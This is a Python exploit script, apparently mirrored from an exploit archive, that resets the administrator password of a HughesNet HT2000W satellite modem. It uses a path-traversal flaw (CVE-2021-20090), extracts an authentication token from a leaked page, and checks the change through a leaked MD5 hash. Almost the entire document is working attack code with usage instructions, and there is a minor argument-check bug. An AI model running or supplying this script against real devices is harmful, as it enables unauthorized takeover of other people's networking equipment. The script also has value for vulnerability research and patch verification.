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## https://sploitus.com/exploit?id=PACKETSTORM:180367
# Exploit Title: HughesNet HT2000W Satellite Modem (Arcadyan httpd 1.0) - Password Reset  
# Date: 7/16/24  
# Exploit Author: Simon Greenblatt <simongreenblatt[at]protonmail.com>  
# Vendor: HughesNet  
# Version: Arcadyan httpd 1.0  
# Tested on: Linux  
# CVE: CVE-2021-20090  
  
import sys  
import requests  
import re  
import base64  
import hashlib  
import urllib  
  
red = "\033[0;41m"  
green = "\033[1;34;42m"  
reset = "\033[0m"  
  
def print_banner():  
print(green + '''  
_____________ _______________ _______________ ________ ____ _______________ _______ _______________   
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/_ | \_____ \ _ \ \ _ \/ __ \ _ \   
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ | | ______ / ____/ /_\ \/ /_\ \____ / /_\ \   
\ \____\ / | \ /_____/ / \ \_/ \/ \ | | /_____/ / \ \_/ \ \_/ \ / /\ \_/ \   
\______ / \___/ /_______ / \_______ \_____ /\_______ \|___| \_______ \_____ /\_____ //____/ \_____ /   
\/ \/ \/ \/ \/ \/ \/ \/ \/ \n''' + reset)  
print(" Administrator password reset for HughesNet HT2000W Satellite Modem")  
print('''  
Usage: python3 hughes_ht2000w_pass_reset.py <password> <ip_address>  
<password>: The new administrator password  
<ip_address>: The IP address of the web portal. If none is provided, the script will default to 192.168.42.1\n  
This script takes advantage of CVE-2021-20090, a path traversal vulnerability in the HTTP daemon of the HT2000W modem to reset  
the administrator password of the configuration portal. It also takes advantage of other vulnerabilities in the device such as  
improper use of httokens for authentication and the portal allowing the MD5 hash of the password to be leaked.''')  
return None  
  
def get_httoken(ip_address):  
# Make a GET request to system_p.htm using path traversal  
r = requests.get(f'http://{ip_address}/images/..%2fsystem_p.htm')  
if r.status_code != 200:  
print(red + f"(-) Failure: Could not request system_p.htm" + reset)  
exit()  
# Extract the httoken hidden in the DOM and convert it from Base64  
return base64.b64decode(re.search(r'AAAIBRAA7(.*?)"', r.text).group(1)).decode('ascii')  
  
def encode_pass(password):  
# Vigenere Cipher  
key = "wg7005d"  
enc_pass = ""  
idx = 0  
for c in password:  
enc_pass += str(ord(c) + ord(key[idx])) + "+"  
idx = (idx + 1) % len(key)  
return enc_pass  
  
def change_pass(ip_address, httoken, enc_pass):  
# Create a POST request with the httoken and the encoded password  
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'http://{ip_address}/system_p.htm'}  
payload = {'action': 'ui_system_p', 'httoken': httoken, 'submit_button': 'system_p.htm', 'ARC_SYS_Password': enc_pass}  
payload = urllib.parse.urlencode(payload, safe=':+')  
try:  
r = requests.post(f'http://{ip_address}/images/..%2fapply_abstract.cgi', data = payload, headers = headers)  
except:  
pass  
return None  
  
def verify_pass(ip_address, new_pass):  
# Make a GET request to cgi_sys_p.js to verify password  
httoken = get_httoken(ip_address)  
headers = {'Referer': f'http://{ip_address}/system_p.htm'}  
r = requests.get(f'http://{ip_address}/images/..%2fcgi/cgi_sys_p.js?_tn={httoken}', headers = headers)  
if r.text.split('"')[5] != hashlib.md5(bytes(new_pass, 'ascii')).hexdigest():  
print(red + "(-) Failure: Could not verify the hash of the password" + reset)  
exit()  
  
def main():  
if not (len(sys.argv) == 2 or len(sys.argv) == 3):  
print_banner()  
return  
new_pass = sys.argv[1]  
ip_address = "192.168.42.1"  
if sys.argv == 3:  
ip_address = sys.argv[2]  
httoken = get_httoken(ip_address)  
print(f"[+] Obtained httoken: {httoken}")  
enc_pass = encode_pass(new_pass)  
change_pass(ip_address, httoken, enc_pass)  
print(f"[+] Password reset to: {new_pass}")  
verify_pass(ip_address, new_pass)  
print("[+] Verified password hash: " + hashlib.md5(bytes(new_pass, 'ascii')).hexdigest())  
print("[+] Password successfully changed!")  
return  
  
if __name__ == '__main__':  
main()